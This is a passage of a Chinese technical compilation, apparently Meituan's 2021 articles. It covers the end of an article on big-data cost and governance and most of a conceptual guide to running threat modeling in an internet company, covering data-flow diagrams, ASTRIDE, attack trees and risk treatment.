大数据的主要成本构成有 3大部分，计算资源、存储资源和日志采集资源，其中计算

资源和存储占总成本超过 90%，我们的数据成本治理主要是针对大数据计算和存储

这两个部分。
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大数据成本优化方案

	● 计算资源

	○ 无效任务清理，通过任务生产出来数据的使用情况判断是否为无效任务，通

过下线无效任务，减少任务执行使用的计算资源。

	○ 超长任务优化，经过任务的计算资源使用数据可以发现，某几个大任务在执

行时会占用大部分的计算资源，导致其他任务执行时间变长，或者占用配置

外的弹性计算资源，导致计算成本增加。数据组会统计和监控每天任务的执

行情况，发现执行时间长（超过 2个小时）或者占用资源多的任务会及时进

行优化。

	○ 分散利用计算资源，数仓的夜间批处理任务使用计算资源的实际一般都集中

在早晨 2点到上午 10 点前，这就导致在一天中只有三分之一的资源被充分

利用，而且这段时间内通常资源都是不够用的，需要使用平台提供的配置外

弹性资源。而其他时间段的计算资源闲置，对资源有较大的浪费。为了把全

天的资源都有效地利用起来，我们会把一些对就绪时间不敏感的任务（比如

算法挖掘、用户标签、数据回刷等）放到 10 点之后，把配置的计算资源充

分利用起来。

	○ 租户拆分和整合统一管理，提高资源池总量和资源总体的使用率。

	● 存储资源

	○ 数仓架构优化和重构：通过统一数仓建模规范，把相似或相同模型进行整合

和去重，确保每个主题数据只保留一份。

	○ 数据存储压缩：在数据仓库建设初期，很多Hive 表的存储格式是 txt，通过

压缩为ORC格式可以减少大量的存储空间。

	○ 冷数据处理：把数据分为冷、热两大类数据，通过每天对全部数仓表扫描识

别出冷数据，发给数据负责人及时处理。

	○ 数据生命周期控制：按照数仓分层的应用场景配置数据的生命周期，明细数

仓层保留的全部历史数据，主题层保留 5年数据，应用层保留 1～ 3年数

据。通过数据生命周期控制，极大地减少了数据存储成本。
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	● 日志采集资源

	○ 下线冷数据的上游日志数据收集任务，数据收集费用主要来自两类数据，业

务系统数据库的 Log 同步和后台日志数据收集，通过对收集数据的使用情况

监控，及时下线下游无应用的数据收集任务。

3.4 数据安全

数据资产对业务来说既是价值，也是风险。数据安全作为业务部门“事关生死”的核

心工作，在技术架构上会从数据产生到数据应用各个环节进行控制，保障数据应用事

前有控制、事中有监控和事后有审计。数据安全控制从业务系统开始对用户高敏感数

据加密，在数仓进行分级和脱敏，在应用层做密文数据权限和密钥权限的双重保障，

管控用户相关的高敏感数据，按照三层系统控制加五个使用原则实现如下：

4. 衡量指标

业务部门在业务发展初级就会建立指标体系，并使用数据指标对各个业务过程做精细

化的分析，衡量业务目标的达成情况和行动的执行程度。数据治理也需要一套成熟稳

定的衡量指标体系，对数据体系做到长期、稳定和可量化的衡量。我们通过制定体系

化的数据衡量指标体系，来及时监测数据治理过程中哪些部分做的好，哪些部分还有

问题。
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4.1 衡量指标建设

为了能够不重不漏地把指标都建立起来，我们从 2个方面进行考虑：

	● 技术分类，按照数据团队关注的问题和目标，把数据治理的指标体系分成质

量、成本、安全、易用性和效率这 5大类。

	● 数据流环节，分别从数据的采集、生产、存储、指标管理、应用和销毁等环节

监控关注的指标。

4.2 衡量指标保障数据治理

根据PDCA原则，将数据治理作为日常的运营项目做起来，底层依赖数据指标体系

进行监控，之上从发现问题到提出优化方案，然后跟进处理，再到日常监控，构成一

个完整的循环。
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5. 治理效果总结

数据治理覆盖了数据生命周期全链路，通过围绕数据从产生到价值消亡全部生命周

期，建立数据治理组织、制定治理衡量体系和建设治理技术系统来达到数据治理目

标。经过体系化的数据治理，数据系统的治理、成本、安全和运营效率都有了比较大

的改善。

	● 数据质量：技术架构优化后，通过标准化规范和系统保障数据的准确性，并在

治理过程中清除和整合了历史冗余数据，数据质量问题有很大的改善。2019

年数据生产任务的增长率比 2018 年减少了 60%左右。

	● 数据成本：经过数据成本优化后，在支持 2019 年酒旅业务高速增长的同时，

大数据的单均成本费用降低了 40%左右。

	● 数据安全：通过业务系统数据加密和数据仓库数据脱敏，双重保障高敏感数据

安全，避免数据泄露。通过数据安全规范和数据敏感性的宣导，加强业务同学

的数据安全意识，业务没有严重数据安全问题的发生。

	● 运营效率：运营工具化减少了研发同学超过 60%的日常答疑时间，极大地减

少了研发同学工作被打扰的次数，提高了开发效率。

三、未来规划

数据治理分为三个大阶段：被动治理、主动治理、自动治理。
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	● 第一阶段我们做的是被动治理，也就是阶段性治理，缺少统筹考虑，主要是基

于单个问题的治理，而且治理之后过一段时间可能还要做重复治理。这个阶段

更多是人治，一个项目成立，协调几个人按照项目制完成，没有体系规划，也

没有组织保障。

	● 第二阶段是主动治理，有长期的统筹规划，能覆盖到数据生命周期的各个链

路，在治理过程中把一些手段和经验流程化、标准化、系统化，长期解决一些

数据问题，让数据治理长期可控。

	● 第三阶段是自动治理，也是智能治理，在长期规划和数据生命周期各环节链路

确定好之后，把已经有的经验、流程和标准做成策略。一旦出现问题，自动监

控，通过一些系统化的方式解决。自动治理的第一步还是治理方案的落地和策

略化，这非常依赖于元数据，把数据治理各个过程中的一些经验技术都沉淀起

来。做完策略沉淀之后做自动化，把策略用工具的方式实现，当系统发现数据

有问题时，自动就去处理。

目前，美团酒旅业务数据治理处在第二阶段和第三阶段之间，虽然有整体治理计划、

技术架构和组织保障，但仍需要投入一定的人力去做。未来，数据治理会继续朝着智

能化的方向进行探索，真正把自动化治理工作做得更好。

四、作者简介
建舒，2015 年加入美团，数据科学与平台部数据工程师。

王磊，2017 年加入美团，数据科学与平台部数据工程师。

罗茜，2017 年加入美团，数据科学与平台部数据产品经理。
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实践之后，我们来谈谈如何做好威胁建模

作者：李瑞

1. 写在前面

1.1 什么是威胁建模

孙子兵法：知彼知己，百战不殆；不知彼知己，一胜一负；不知彼不知己，每战

必殆。

微软：威胁建模实践使开发团队可以在计划的运行环境的背景下，以结构化的方

式思考、记录并讨论系统设计的安全影响。威胁建模是帮助保护系统、应用程

序、网络和服务的有效方法。这是一种工程技术，用于识别潜在的威胁和建议，

以帮助降低风险并在开发生命周期的早期实现安全目标。

OWASP:	 identifying,	communicating,	and	understanding	 threats	and	

mitigations	within	the	context	of	protecting	something	of	value.

计算机发明后不久，人们就发现需要为这些信息系统处理威胁。早在 1994 年，NSA

和 DARPA 就提出了攻击树、威胁树等概念。1999 年微软内部发表了题为《The	

threats	to	our	products》的文章，为定义Windows 全系产品面临的安全威胁正式

提出了 STRIDE 助记符。随着 2002 年比尔·盖茨著名的《可信任计算备忘录》宣

言发布，微软承诺改善软件产品的安全性，随即正式在SDL（安全开发生命周期）中

采用了威胁建模。

威胁建模数十年来不断取得大家的认可，在业内也有 STRIDE、Trike、OCTAVE

等多种方法论实践。安全行业的从业人员普遍认识到，在研发团队的安全例行活动

中，对于一些拥有重要数据资产、安全事件影响力大的系统除了要进行常规的渗透测

试、黑白盒代码扫描之外，更应该系统地定期开展威胁建模活动并对业务赋能。

对美团安全团队来说，引入领先的安全技术设计能力，构建全方位、多维度智能防御
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体系，是我们不懈追求的目标。美团有众多基础设施，核心业务系统也需要以成熟的

方法论进行威胁评审。本文将着重分享威胁建模是如何帮助美团安全团队评估、发现

大量安全设计的风险，以及在互联网企业，应该如何大范围地实施威胁建模并完整地

进行落地。

1.2 威胁建模的价值

	● 识别体系化的结构缺陷：大多数安全问题是设计缺陷问题，而不是安全性错误。

威胁建模能帮助识别这些设计缺陷，从而减少风险敞口，指导安全测试，并降

低因安全漏洞而造成的品牌损害或财务损失等可能性。

	● 节约组织安全成本：通过对威胁进行建模，并在设计阶段建立安全性需求，降

低安全设计缺陷导致的修复成本。在需求管理和威胁分析阶段，与业务开发团

队高效互动，释放安全团队的专业能力，专注于高性价比的安全建设。

	● 落地 DevSecOps 文化：通过威胁建模跑通开发和安全工具的流程集成，把风

险管理嵌入产品的完整生命周期，从而推动形成完整的DevSecOps工具链。

	● 满足合规要求：威胁建模是国际安全行业通用的方法论，通过向管理层和监管

机构提供产品的风险管理活动的完整记录，帮助团队遵守全球法律法规要求，

包括PCI	DSS、GDPR、HIPAA、CSA	STAR等。

1.3 遇到的挑战

普及威胁建模流程和技术可以有效提升企业的安全建设水平，作为互联网企业，要实

施敏捷的软件开发流程，威胁建模活动也应尽量便捷，但实际工作起来并不简单，落

地过程中也会遇到不少挑战。按优先级排序，挑战包括以下几个方面：

	● 缺乏优秀的自动化建模工具；

	● 安全团队没有时间和精力对每个应用都实施建模；

	● 缺乏对威胁建模足够的了解，知识库涉及不同领域、专家经验难以共享；

	● 建模活动、输出结果没有融入业务的敏捷研发流程；

	● 简易的建模活动基于问卷或者表格记录分析，并没有实际的更新、积累和进一

步分析。
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2. 准备威胁建模

2.1 能力要求

在进行复杂的威胁分析时，并不是 SDL 一个团队就可以独立完成的，还需要数据安

全、IT 安全、风控合规等安全团队协作，评审活动也涉及到内容、网络、隐私保护、

法务、运维各个领域。各参与者最好提前建立对公司基础设施、安全分工的认知，相对

清楚各个产品的作用、特点、接入办法、适用场景。建议实施威胁建模的参与人员都了

解有关产品的设计、接入文档材料，看不懂不用担心，多浏览几遍，逐步熟悉即可。

对于实施威胁建模的负责人有四个层面的基本技术能力要求，包括：

	● 懂常用的安全技术、安全机制、攻击方法、危害、加密算法；

	● 懂业务、流程、内部技术服务、产品与产品之间、组件和组件之间的关系；

	● 组织人员策略资源来推动项目实施；

	● 将安全规划、安全流程、治理模型组合来符合纵深防御原则。

威胁评审，重点是评和审，对参与威胁评审的人员软实力要求，包括：

	● 一定程度了解业务；

	● 合格的文档编写能力；

	● 有意识地优化企业体系结构中的研发安全流程；

	● 有意愿传播安全能力，以支持增强安全团队话语能力。

2.2 评估流程

准备

实施威胁评估时，首先要取得业务团队负责人的认同：不管有没有事件驱动，安全团

队的参与都将为业务系统提供产品竞争力。哪怕现阶段安全并不能完全赋能给业务，

但长期来看，威胁建模应该在业务技术迭代的每个环节都去自助实施。随着技术的积

累，业务团队独立完成威胁技术安全分析是有可能的。
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团队

参与团队以“Two-Pizza	Teams”团队为最佳，建立工作团队后，按需引入相关

人，以后这个工作组聚焦为业务提供安全能力。保持沟通是构建产品安全的诀窍，实

施威胁建模的效果深受团队如何组织和交流的影响。

周期

实施这项活动的整个周期除了解决风险的阶段稍长，从问卷调查到给出威胁评估报

告，建议持续时间为 1到 2周；如时间太短，团队成员之间不能建立足够的信任，不

能充分给出安全评估的结果；如时间太长，会忘记之前讨论的结果，耗费双方团队精

力。威胁评估迭代的周期保持灵活，在人力充足的情况下以重大变更、功能模块迭代

的数月、半年一轮为佳，人力不足的时候应尽量把评审过程由人力到工具化、自动

化、服务化。

流程

安全架构评审的核心是威胁建模，详细参考可以参考	《安全架构评审实战》	一文。当

然，传统的建模流程太重了，虽然尊重业务的设计过程很复杂，威胁分析也没有理由

取巧走捷径，是改善安全必须付出的成本，但应尽量在复用现有流程的同时针对敏捷

https://mp.weixin.qq.com/s/YQn1FQICk1esxvBCHZntFA
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开发做出适当精简——通过问卷简化核心安全要素的分析、通过组织流程优化沟通方

式、通过融入研发流程快速闭环。总结出比较适合互联网企业的评估工作流程如下：

	● 首先是立项，增量尽量都覆盖。存量根据攻防优先级选择合适的重要系统开始

评估，建议由业务方和安全一致的选择目标范围，一般建议从基础设施系统自

下而上，从 IaaS/PaaS 层开始比较合理。因为基础设施的安全状况改进了，

整个业务线都可以覆盖接入受益。评审不仅仅需要安全方面投入资源，也需要

业务团队有人力参与问卷填写、项目介绍、多轮访谈、核对威胁、解决风险，

需双方共同意识到：达成安全目标需要业务人员共同参与进来，安全和业务都

很专业。双方建立的关系不应该是例行安全审计那样的“你问我答”，氛围可

以尽量轻松。对齐发现的安全风险并不是哪个团队做得不好，而是认清事实，

及时止损，发现风险、解决技术债务，交付和设计安全的代码也是开发的长期

挑战，双方应着眼于改善产品未来的安全状况。

	● 第二步问卷调查或文档填写的目的是收集必要的业务信息。文档 / 问卷应精心

设计，不要采用过于专业的术语，目的是扫除业务方知识盲点，建立对产品初

步的安全现状认知。不清楚的问卷选项可以不填，填就尽量保证准确。建立工
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作群后发出问卷调查要求，问卷是启动威胁建模项目的起点，业务方认真填写

问卷是项目良好开展的前提。

	● 同业务的访谈要反复进行多次，安全团队的风格要么过于强硬，要么容易脸皮

薄，觉得和业务打交道要对方多次配合，不好意思打扰业务，这是错的，需要

纠正。

	○ 访谈由安全评审人主持，时间尽量控制在 40分钟以内，人数最小是 4人左

右。第一次访谈可以从问卷的内容开始，就每一个问卷选项进行交流，确保

业务正确理解问卷中提到的问题，确保问卷的填写结果是业务想要表达的意

思，确保业务不清楚的、有分歧的可以通过讨论给出一致结论。问卷访谈时

不用过于讨论技术细节、系统不足和实际修复方案，主要是了解业务的基本

安全情况。访谈的第二个议题是邀请业务方对软件设计文档、架构图进行讲

解。最后的总结 5分钟左右，会后遗留三项 To	Do：①填写应用信息收集

表，包括技术文档地址、代码仓库地址、域名、CI\CD发布项、技术栈、测

试环境账户；②下一次沟通时间；③安全对接专人。

	○ 第二次访谈之前，安全人员应多阅读业务方的文档、代码，进行适度的安全

测试。这次访谈希望有业务方架构师、代码开发负责人参与，对于安全前期

整理的所不理解的调用关系问题、现有的安全控制措施问题、流程细节、组

件、认证方式等其他技术细节进行讨论，分歧点和讨论结果通过文档记录方

便查阅。

	○ 日常发现的疑问可以多次随时沟通，评审是一项“开卷考试”，很多黑白盒

发现的安全风险无需花大精力执行安全测试，通过向业务方咨询就能得到

确认。

	○ 访谈的对象通过产品、架构设计、开发人员类型的不同视角可以发现业务自

身的讹误，业务如有不清楚的地方或历史遗留问题，不用在这里卡壳，先弄

懂能弄清楚的来逐步拼接“拼图”。

	○ 最简单的威胁建模，就是关于威胁的“头脑风暴”而已。访谈的原则要把自

己作为业务的CISO，从产品安全负责人的角度考虑：这个产品卖出去，可
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以提供什么安全能力？出现安全事故事前该怎么做？

	● 开展架构评审中威胁建模的几个子过程，包括定义资产、识别威胁、评估风

险、给出缓解措施等，将在下面的	“实施威胁建模”章节详细展开说。

	● 威胁建模的阶段性成果交付物会是不同形式，如安全白皮书、安全设计指导、

威胁评估报告。业务团队可以从安全给出的长期修复方案和安全规划中获益。

最终报告最好有安全团队内部双人复核机制，不同安全专家视角里对威胁的理

解是不一样的，双人复核的另一个好处是可以减少工作量，比如分工区分A-

管理端、B-Agent、A- 代码、B-设计实现或者A-评审、B-复查分工。给

出威胁建模结果前一定要同业务团队再次沟通，确认哪些风险是安全视角被错

误理解的，哪些是已经在业务视野中，哪些是业务团队认知不到位的。修复方

案要区分接受、缓解、转移、处理风险四种情况。沟通时对应报告每个威胁项

要求业务方给出明确的排期。短期可以走安全工单，长期纳入业务的规划排期

中，识别出的共性安全问题作为安全专项制定孵化相应的安全工具和项目，补

全安全建设的蓝图。

	● 发现风险总是容易，解决风险才是这项工作的价值。减缓发现的威胁可能需要

业务重新设计，需要排除万难达成目标，不然评审过的系统带来的虚假安全

感，还不如没有安全感。一个有趣的现状是解决威胁时对于安全团队是业务在

修复漏洞，对于业务是在满足安全团队提出安全需求。安全团队以往的视角总

是急迫希望业务立即去修复，其实大可不必着急，不妨就按照安全需求去沟

通。评审发现的问题不少是架构和设计方面的问题，比如认证、鉴权、数据安

全方面，需要业务方进行大的设计变更，要建设对应的公共基础服务，要理解

业务（反正风险已经存在很长时间了，敬畏业务的修复成本，尊重技术客观规

律），只要能解决问题即可。好的修复方案一定是考虑性价比的，而且可行性

大于必要性，每个团队的资源都不是无限的，按照处理的优先级进行排序工

作。对识别出暂时不能解决的问题可以做出对应的监控、审计手段，如果要介

入培训此时也是好的阶段，优秀的工程师总是想掌握到不同的知识，培训不是

被动地聚在一起讲PPT，而是互动交流，建立安全文化的积极性。
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	● 在业务方确定处置风险完毕后，安全团队复查修复是否完成，修复是否引入新

的问题，业务方是否对方案理解到位。这个过程要和业务团队保持互动，安全

评审并不是单纯安全测试，而是指导安全能力的提升，结束时可以给业务积极

的反馈，保持健康的安全文化。

	● 威胁评估的活动最好定期重复进行。安全防护为什么要与时俱进？第一，随着

制度法规的完善，对业务的安全性提出更高的要求；第二，企业安全基础设施

能力不断提升，可为业务提供的公共安全能力不断增强；第三，业务系统可能

随着时间的变化，安全现状有质的改变，随着信息系统所承载的业务完善或稳

定，业务有取消合并的迭代。

3. 实施威胁建模

绘制数据流图，识别定义威胁、处置威胁、验证风险得到正确处理是威胁建模的四个

常用步骤。

3.1 数据流关系图都不准确，尽量有用而已

为什么我们需要建模？因为实施威胁建模时往往系统并未完整构建，模型会帮助思考

系统的设计，以攻击者和防守方的方式思考对应的安全威胁。

经过初步问卷和访谈后，安全团队也收集到大量业务反馈的信息，产品和应用安全团

队聚在一起讨论软件架构和潜在的安全问题。使用威胁建模工具、审查数据流图、威

胁模型的目标都是为了达成更充分讨论的目的而服务。建议安全团队基于业务的流程

图、调用关系同业务一起绘制DFD数据流图。一般常见的数据流形式有：①白板上

作为会议随堂讨论的示意图，辅助提高沟通效率，一般用于说明系统层级架构；②业

务现有文档中的时序图、UML图辅助理解复杂问题和技术细节。

画系统架构的目标是解决利益相关者的关注点，业务实现安全功能，安全实现安全设

计。大家普遍反映实施威胁建模时都在画架构图时遇到最大的困难，纠结于用什么工

具。在绘制DFD图的工具选择上：

	● 微软的Microsoft	Threat	Modeling	Tool 工具的优点是，适合初学者接触熟
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悉了解外部实体、数据流、过程、存储、信任边界的基本概念，缺点是除了

Windows 应用程序和Azure 示例之外没有合适的威胁模板。

	● OWASP	Threat	Dragon 的优点是表达方式更丰富，但是不能支持动态拖拽

和自动导出威胁列表。大家没有必要将整理数据流图视为困难，实战中威胁建

模能力只能通过多练习、反复挑战的方法熟悉技能。

回过头看早期的一些对威胁模型的判断往往不准确的，没有关系，毕竟你曾经“实

施”过威胁建模了。绘制数据流的过程可以理解业务、确保安全视角没有遗漏。威胁

建模完全自动化基本是伪需求，没有足够多的业务产品需要持续进行建模评审、大量

的原始信息来自于文档、架构师的经验、场景和知识极其复杂。建议尽快上手可以使

用系统自带的流程图，使用Visio 和 Draw.io 最方便。

数据流的细粒度也难以抉择，谨慎地选择信息的层级和粒度并不是一件容易的事情，

初学者刚开始的时候总是觉得每个功能都得拆分，每个功能都要求加密，灵活程度取

舍于所使用的架构模型、架构师的经验和系统的复杂度。根据笔者的经验，一种C4	

Model 结合微软威胁模型图例的方法容易取得合作方业务架构师的认同，以下给大家
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做个简单的示例。

系统上下文图（System Context Diagram）

在这一层级中细节并不重要，只显示系统概况。	重点应该放在人员（角色）和软

件系统上，而不是技术，协议和其他低层级细节上，从而使非技术人员也能够看

得懂。这个图也是明确需求的重要图示。这表示一个应用和其他系统的下辖有调

用关系。不需要完整表示数据的流向，只要大致描述清楚系统的周边关系，不遗

漏关键步骤。

上述这个层级的示范是微软Azure 的威胁建模的数据流图，优点是通过数字表示了

流程顺序。

应用图（Application Diagram）

应用是可单独运行 / 可部署的单元（例如，单独的进程空间）执行代码或存储数

据。应用图显示了软件体系结构的高层结构以及如何分配职责。它还显示了主要

的技术选择以及容器之间的通信方式。

一个应用包含多个服务，如果一个系统有多个子系统，应该对每个子系统都进行分

析。通过威胁建模应该尝试了解整体情况，包含应用本身、数据库、交互、部署场

景、云服务、接入的基础服务。下图是模拟一个支付应用的示例。
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服务图（Service Component diagram）

服务图显示了服务如何由多个“组件”组成，每个组件是什么，它们的职责以及技

术 / 实现接口（API）或者细节。这个细粒度的分解是建模最大的工作量，为分解的

各个通用组件创建的威胁模型结果可以复用在其他应用上。比如 Kubernetes 被分

为 Kube-Proxy、ETCD、Kubelet、Kube-APIServer、Scheduler、Container、

Pods 等。
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代码层级

这一层是可选的，可以使用UML类图、实体关系图、函数调用关系或类似的图。对

于分析特定代码层级的漏洞很方便。推荐使用白盒扫描工具、IntelliJ	IDEA的依赖矩

阵、Diagrams、Flow 插件进行分析。

数据流图这项技术本身存在的不足是：关注组件的交付是还是相对偏数据流动视角，

不少人的交互场景如钓鱼、敏感功能误操作不能表示出来；不能完全遍历出程序的全

部功能（除非图足够复杂）；基于程序设计图之上绘制却又丢失了设计细节，无法自动

化；数据流会额外显示出基础设施引起的风险，并不仅仅是业务自身的安全。

3.2 识别威胁是互动过程

威胁建模是一种协作行为，一类结构化的思维方式，一项实践的科学。以软件程序为

中心的威胁建模、枚举威胁、解决威胁、验证来解决四个问题：具体业务是什么？哪

些地方可能出现风险？如何规避解决？是否覆盖完整。

所以识别威胁的第一步是灵活定义攻击者的目标，组织要保护的资产和信任级别，

如：S3存储、源代码、主机、数据库、凭据、行级数据，知识产权等。公有云、私

有云不同的责任共担模型就清晰给出了不同的业务需要关注哪些资产的示例，云上资

产的建模更关注安全的信任边界。

第二步给出明确的攻击路径，定义攻击者：比如恶意内部员工、外部攻击者，竞争对

手、好奇者等，攻击路径的抉择直接影响攻击面和信任边界的划定。

第三步即威胁评估的过程不能缺少架构分类思维。一般使用	ASTRIDE（隐私、欺骗、

篡改、信息泄露、否认性、拒绝服务和特权提升）和攻击树模型作为常用的威胁建模

技术指导原则。

| ASTRIDE (Advanced STRIDE )

微软已经不再维护STRIDE，采用 ASTRIDE 更符合面向消费者的网络安全行业的

发展。
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将系统分解为相关的组件，分析每个组件对应的威胁。有个技巧是从外部实体逐次开

始，关注有交互的进程，没有交互的进程一般没有威胁。

上图中，数据存储仅是保存日志信息时才有抵赖的威胁。

分析威胁模型和业务互动时，按照上面的两张表考虑每个元素对应的威胁，实施时要

对照进行思考当做Checklist 来分类。ASTRIDE 是帮助认识归类威胁的工具，而不

是分类定义，某些威胁比如没有启用HTTPS，从中间人攻击的角度分析实际的风险

既是数据泄露，也属于篡改、隐私分类，有的威胁如 IoT 设备的爆炸、丢失不属于以

上任一分类，没有必要强行去分类，反正已经发现记录威胁了。另外，信任边界很重

要，安全本质是信任问题，攻击面的定义直接影响威胁的划分。

几个安全概念的区别

	● 威胁是应用潜在存在的安全弱点。



50　>　2021年美团技术年货

	● 漏洞是对威胁的利用，产品实现了预期之前的功能，影响了安全性。

	● Bug 是未实现的功能。

	● 风险是发生的，对资产有危害的可能性。

	● 风险 =（威胁 +漏洞）*可能性。

举个例子：存在新冠肺炎病毒是“威胁”，没带口罩是“漏洞”，存在感染病毒可能是

“风险”，人体不能解决病毒是“Bug”，主动免疫是安全需求。

对于威胁的判断来源，可以参考：

	● 业界同类产品的安全白皮书，如各家公有云的材料相对比较全，要思考这些同

类产品都有哪些安全功能，有没有安全需求，能不能实现。

	● 通过内部工单系统搜索该部门名下的历史漏洞：经常一个产品历史出现过越权

漏洞，是因为整个产品都没有鉴权；一个接口不符合编码规范，同一份代码的

另一个接口出现安全问题的风险高。

	● 开源产品的安全设计方案，历史漏洞。

	● 专利、论文、行业知识库，对于新的技术的如人脸识别、机器学习、大数据业

务这方面的材料很宝贵。

以上举个简单的例子，场景是租户通过第三方开放平台登录后通过微服务处理业务。
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对于 API 网关，存在的威胁包括：

	● 认证和授权

	○ 未强制HTTPS

	○ 缺失二次认证措施

	● 日志和监控

	○ 缺失日志记录和审计模块

	○ 日志本地留存

对于 IAM服务服务器，存在的威胁包括：

	● 信息泄露：用户身份信息泄露

	● 认证

	○ 暴力破解对外发送的管理平台Token

	○ 授权策略绕过

	● 可用性

	○ 单机实例，误操作可导致宕机风险

对于MySQL服务，部分存在的威胁包括：

	● 认证：攻击者获取凭据后可以直接访问、修改、删除业务数据

	● 权限提升：攻击者可以从普通用户提升至Root，获取数据库完全控制权限

	● 信息泄露：SQL注入导致所保存的业务数据泄露

评估风险结果没有列出来有些是自动认可忽略的，有些是放在基线等安全控制措施，

大多数的威胁发现都是基于参与者的经验，可以从安全最佳实践、加固指导、历史案

例形成知识库积累下来。具体实施的过程目前没有完全的自动化工具，但是检测项一

般有共识：比如从域名系统查看是否启用强制HTTPS、S3对象存储查看是否启用服

务器端加密、硬编码问题、是否加入FIDO等。

虽然威胁建模的一个要点是避免关注漏洞而不是威胁，但基本没有一个系统是从零搭

建的。新的项目也会大量引入框架、组件、第三方服务，适当的安全测试是必要，原
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则是聚焦发现设计方面高层次的风险，但如果参与人员具备一些实际攻防能力，可以

将其他安全工具发现的问题纳入一起解决，百利而无一害，本身建模的一个目标就是

指导安全测试的方向。测试时要注意常见的攻防案例是影响机密性，也要考虑攻击者

破坏应用的可用性和完整性。

| 攻击树模型

安全专家大都熟悉实战中通过哪些攻击手段可以损害资产。很多网络上的渗透测试报

告就是以攻击链路形成的思维导图为例，可以据此细化出一个产品的攻击树。攻击树

模型有两种方法：自下而上和Use	Case 型。前者是全部覆盖到实现目标的入口，后

者基于前者的细节，在确定攻击的前提下展示出实际的攻击，涉及大量用例的、业务

逻辑复杂的、有交互过程的、系统已经设计完成的，通过攻击树很容易发现安全威

胁。攻击树模型一般遵循以下的定义图例：

通过下面举个例子，攻击者尝试持久化在 Kubernetes 集群内部执行命令，可以通

过部署恶意镜像、容器内执行命令、提权控制宿主机多种方法。在部署恶意镜像这一

步，自下而上浏览首先要具备访问Kubernetes	API 权限的认证信息或Kubelet 工具

的凭据，然后必须有镜像仓库操作写的权限，然后部署恶意镜像。
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识别到威胁后对威胁进行几个处理步骤：

	● 标记详情，附加参考材料、变更记录；

	● 威胁影响级别：从机密性、完整性、可用性，利用难度四个角度进行评估。衡

量风险没有必要强制按照DREAD、CVSS评分模型，很大程度依赖于参与的
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安全专家对攻击者的视角、安全建设的成熟度、业务的可接受能力进行定级，

一般给出高中低即可。

3.3 处理威胁是重中之重

经过上述的活动，我们获取了一个大的威胁列表，下一步就是处置评估出来的每个

风险，这方面的材料可以参考 ISO27001 和 ISO31000 的系列指导。分为四个应对

措施。

缓解

采取措施加大攻击者的利用时间。就像 Google	Project	Zero 的原则“Make	

0-Day	Hard”。比如发现密码猜解的威胁，采用二次认证、风控验证码的技术，缓

解和解决风险的界限往往并不清晰。仔细想想大部分的日常安全工作都是缓解威胁，

比如部署WAF、制定安全规章制度、监控和响应。

解决

完全解决该威胁。解决是最乐观的情况，常见的安全方案是基于现有的代码实现，比

如防SQL注入组件，使用加密套件解决硬编码问题。如果威胁建模是发生在编码之

前，可以使用现有的安全方案如Security	SDK、密钥管理服务、身份认证方案，当

然也可以引用新的安全技术去建设。

转移

转移是将威胁承担交由其他系统去处理，比如用户协议和隐私条款、免责声明，变更

管理的二次认证、外包、购买网络安全保险。但是安全也不能对业务给个方案说你得

买一份保险，这需要找到安全和业务的平衡感。

接受

接受风险也是面对安全成本的一个合理处理方式，不同层级的业务负责人对待安全的

视角是有不同考虑的。比如在物理安全领域，我们往往做得适度投入，背后的原因是

接受了战争、核武器等不可抗拒因素。
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依据上述的威胁定义补充是等级、优先级、修复成本、负责人、排期、安全测试结

果、解决方案记录结果，报告文字要规范，避免使用安全特定术语、缩略语如PoC、

RCE、SSRF、HIDS字样。给出前瞻性的安全方案是区分安全测试和威胁建模的主

要区别。对于共性问题建立孵化安全解决方案，有安全专项的也进行标记，后续可以

比对安全项目的效果。

解决威胁的抽象原则要区分出安全建设的原则纵深防御、最小权限原则、默认（强制）

安全并不一定适用于业务系统，业务更熟悉安全架构设计的 5A原则：

	● 身份认证（Authentication）：用户主体是谁？

	● 授权（Authorization）：授予某些用户主体允许或拒绝访问客体的权限。

	● 访问控制（Acccess	Control）：控制措施以及是否放行的执行者。

	● 可审计（Auditable）：形成可供追溯的操作日志。

	● 资产保护（Asset	Protection）：资产的保密性、完整性、可用性保障。

5A的划分容易让业务理解到开发架构、逻辑架构、数据架构、技术架构、业务架构

中，从而避免因为安全缓解措施的影响导致原本的业务需求不能实现，或者性能、编

码、成本变更得太多。

完成威胁建模的标志是双方团队对图表没有异议，可以依据数据流图，复述清楚数

据流向、攻击面如何、已经做了什么、存在哪些风险、应该做到什么。让业务没有

安全知识的提升的建模是失败的，业务方应当是下一个产品迭代中安全提升的主动贡

献者。

以下是威胁列表的结果示例模板：
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3.4 验证威胁达到闭环

修复问题就是安全团队复查威胁得到合理的处置，高标准就是合理。跟踪威胁的解决

不要拘泥于使用的安全内部的工单系统，在业务的研发管理系统记录也是一个明智的

选择。同业务方制定单双周的沟通会，确保每个风险在跟进按时解决。威胁建模并不

是一次性活动，每次双周沟通都简短沟通，花 5-10 分钟再一次实施建模：沟通下遇

到什么困难，有什么安全需求，积累建模的习惯，通过反复执行这个活动可以从设计

层面识别大量的安全风险。

我们总是提安全要Shift	Left（左移），建模给了产品团队良好的“右移”机会。团队

之间的知识共享帮助大家理解安全的本质，知道安全这件事该如何做，从而逐步改善

公司的安全状况。Security	by	Design 要求安全前置介入到需求和设计阶段，真正让

介入需求阶段，安全又总是无从下手，其实需求阶段的安全活动包括用例验证、资产

识别、安全基线，将权限、日志、操作安全、加密需求、编码规范、基础服务纳入安

全相关基线，设计阶段主要有方案评审、安全特性设计，最重要的更是威胁建模。团

队互动的过程要以文档的形式完整记录，这种材料是给其他团队下一次威胁建模的有

效输入。
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4. 如何评价这件事做得好坏

威胁建模不能立竿见影，建模没有什么特别的，对于业务方来说应该是同编码、测

试、交付一样很普通的工作，安全也仅仅是日常工作的一部分。事情的主要目标是建

立产品的安全属性，可以通过最终的安全缺陷改进情况、评审覆盖度、修复解决率作

为过程指标，安全成熟度、安全事故数作为结果指标。实施投入威胁建模本身已经是

一件技能很复杂的事情了，对参与人员引导做正确的事，不需要设置发现威胁数等硬

性指标。

威胁建模在于对评估可能的风险、分析潜在攻击者的手法、攻击路径，提升产品的抗

攻击韧性方面有独特的优势。这项方法论根本没有什么最佳实践，没有单一的“最

好”或执行威胁建模的“正确”方法，而是为了满足解决这些威胁而实施的一系列复

杂和多维度的权衡，唯有不断修正迭代才能完善。但如果没有威胁建模过程参与，组

织不会清楚现有系统的安全现状。不管怎样，一旦你取得阶段性的成果，组织内部就

认识到这样的协作可以对改善总体安全状况产生较大的作用，是高性价的投入，就可

以克服关于威胁建模耗费人力、周期长、难点大这些阻力的声音，从而真正从事预防

性的安全建设。

5. 经验教训

美团内部实施威胁建模时，首先就设立了如下的目标：

